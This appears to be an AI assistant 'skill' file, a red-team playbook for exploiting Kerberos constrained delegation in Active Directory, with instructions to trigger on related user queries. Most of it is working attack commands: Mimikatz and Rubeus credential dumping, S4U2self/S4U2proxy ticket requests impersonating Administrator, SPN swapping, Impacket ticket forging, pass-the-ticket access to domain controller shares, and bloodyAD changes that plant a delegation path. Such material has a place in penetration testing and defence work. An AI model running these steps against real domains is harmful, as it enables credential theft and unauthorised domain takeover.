active-directory-constrained-delegation

name

active-directory-constrained-delegation

description

How to enumerate and exploit Kerberos Constrained Delegation in Active Directory for privilege escalation. Use this skill whenever the user mentions constrained delegation, S4U2self, S4U2proxy, msDS-AllowedToDelegateTo, TrustedToAuthForDelegation, Kerberos delegation attacks, or any scenario involving service account impersonation in AD environments. Also trigger for Rubeus s4u commands, Impacket getST with altservice, or when investigating delegation-based privilege escalation paths.

Active Directory Constrained Delegation Exploitation

This skill covers enumeration and exploitation of Kerberos Constrained Delegation misconfigurations in Active Directory environments.

What is Constrained Delegation

Constrained delegation allows a Domain Admin to permit a computer or service account to impersonate users against specific services on designated machines. When compromised, this enables:

• S4U2self: Service account obtains TGS for itself on behalf of any user
• S4U2proxy: Service account obtains TGS on behalf of any user to services listed in msDS-AllowedToDelegateTo

Key insight: If you compromise the hash of a service account with constrained delegation enabled, you can impersonate users and access services on their behalf — often leading to privilege escalation.

Critical Limitations

• Users marked as "Account is sensitive and cannot be delegated" cannot be impersonated
• SPN swapping weakness: If you have access to one service (e.g., CIFS), you can often access others (e.g., HOST, LDAP) using /altservice flag
• LDAP access on DC enables DSync attacks

Cross-Domain Delegation (2025+)

Windows Server 2012+ supports constrained delegation across domains/forests. Modern builds (2016–2025) add PAC SIDs:

• S-1-18-1 (AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY): Normal authentication
• S-1-18-2 (SERVICE_ASSERTED_IDENTITY): Protocol transition via S4U2Proxy

Enumeration

Using PowerView (Windows)

# Find users with constrained delegation enabled
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

# Find computers with constrained delegation enabled
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

Using ADSearch

ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" \
  --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json

Exploitation Workflow

Step 1: Obtain TGT for the Delegating Service

You need a TGT (or hash) for the service account that has constrained delegation enabled.

From memory (SYSTEM access):

# Rubeus triage and dump
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

# Mimikatz ekeys
mimikatz sekurlsa::ekeys

Request TGT with hash:

# Using RC4 hash
.\Rubeus.exe asktgt /user:SERVICE$ /rc4:HASH /opsec /nowrap

# Using AES256 key
.\Rubeus.exe asktgt /user:SERVICE$ /aes256:KEY /opsec /nowrap

Important: You don't need SYSTEM access. TGTs can be obtained via Printer Bug, unconstrained delegation, NTLM relaying, or AD CS abuse.

Step 2: Execute S4U2self + S4U2proxy

Quick one-liner (Rubeus):

.\Rubeus.exe s4u /user:SERVICE$ /domain:DOMAIN.local /rc4:HASH \
  /impersonateuser:Administrator \
  /msdsspn:"CIFS/target.domain.local" \
  /altservice:ldap /ptt

Multi-step approach:

# Get TGS for user to self
.\Rubeus.exe s4u /ticket:TGT.kirbi /impersonateuser:Administrator /outfile:TGS_admin

# Get service TGS impersonating user
.\Rubeus.exe s4u /ticket:TGT.kirbi /tgs:TGS_admin \
  /msdsspn:"CIFS/target.domain.local" /outfile:TGS_CIFS

# SPN swap to different service
.\Rubeus.exe s4u /ticket:TGT.kirbi /tgs:TGS_admin \
  /msdsspn:"CIFS/target.domain.local" /altservice:HOST /outfile:TGS_HOST

# Load ticket
.\Rubeus.exe ptt /ticket:TGS_HOST

Step 3: Use the Ticket

# After PTT, use standard tools
smbclient -k //target.domain.local/C$ -c 'dir'

# Or with Impacket
export KRB5CCNAME=Administrator.ccache
smbclient -k //target.domain.local/C$ -c 'dir'

Linux/Impacket Tooling

Full S4U Chain with Impacket

# Get TGT for delegating service
getTGT.py domain.local/websvc$ -hashes :HASH

# S4U2self + S4U2proxy with SPN swap
getST.py -spn CIFS/dc.domain.local -altservice HOST/dc.domain.local \
         -impersonate Administrator domain.local/websvc$ \
         -hashes :HASH -k -dc-ip 10.10.10.5

# Inject ticket
export KRB5CCNAME=Administrator.ccache
smbclient -k //dc.domain.local/C$ -c 'dir'

Offline Hash Only (ticketer + getST)

# Forge user ST first
ticketer.py -nthash:ADMIN_HASH [e-mail]

# Then S4U2proxy
getST.py -spn CIFS/dc.domain.local -impersonate Administrator \
         domain.local/websvc$ -hashes :SERVICE_HASH -k

Note: See Impacket issue #1713 for KRB_AP_ERR_MODIFIED quirks when forged ST doesn't match SPN key.

Automation with bloodyAD

If you have GenericAll/WriteDACL on a computer or service account, you can configure constrained delegation remotely:

# Enable TRUSTED_TO_AUTH_FOR_DELEGATION
KRB5CCNAME=owned.ccache bloodyAD -d domain.local -k --host dc.domain.local \
  add uac WEBSRV$ -f TRUSTED_TO_AUTH_FOR_DELEGATION

# Set delegation target
KRB5CCNAME=owned.ccache bloodyAD -d domain.local -k --host dc.domain.local \
  set object WEBSRV$ msDS-AllowedToDelegateTo -v 'cifs/dc.domain.local'

This creates a constrained delegation path for privilege escalation without DA privileges.

Common Attack Patterns

Pattern 1: Service Account Compromise

1. Enumerate accounts with msDS-AllowedToDelegateTo
2. Obtain hash/TGT of service account
3. Execute S4U2self + S4U2proxy impersonating high-priv user
4. Access delegated services (CIFS, HOST, LDAP)

Pattern 2: SPN Swapping

1. Get TGS for allowed service (e.g., CIFS)
2. Use /altservice to swap to different service (e.g., LDAP, HOST)
3. LDAP on DC enables DSync

Pattern 3: Cross-Domain

1. Identify cross-domain delegation paths
2. Execute S4U2proxy across domain boundary
3. Look for SERVICE_ASSERTED_IDENTITY PAC SID

Tools Reference

Tool	Platform	Key Commands
Rubeus	Windows	s4u, asktgt, ptt
Impacket	Linux/Windows	getST.py, getTGT.py, ticketer.py
Mimikatz	Windows	tgt::ask, tgs::s4u, kerberos::ptt
bloodyAD	Linux	add uac, set object
PowerView	Windows	Get-DomainUser -TrustedToAuth

References

• Kerberos Constrained Delegation Overview (Microsoft Learn)
• ired.team - Kerberos Constrained Delegation
• SpecterOps - Kerberosity
• Impacket Issue #1713